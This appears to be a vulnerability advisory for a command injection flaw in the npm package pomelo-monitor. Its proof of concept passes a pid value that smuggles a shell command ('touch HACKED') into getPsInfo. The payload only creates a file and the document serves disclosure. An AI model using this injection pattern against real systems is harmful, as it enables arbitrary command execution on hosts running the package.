monitor

vulnerability command injection
severity 3.8
language javascript
registry npm

Overview

The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here.

Proof of Concept (Credit: Mik317)

  1. Create the following PoC file:
// poc.js
var monitor = require("pomelo-monitor");
var param = { pid: "test; touch HACKED; #", serverId: "node-1" };
monitor.psmonitor.getPsInfo(param, function (err, data) {});
  1. Check that there aren't any files called HACKED.
  2. Execute the following commands in another terminal:
npm i pomelo-monitor # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files - now HACKED has been created.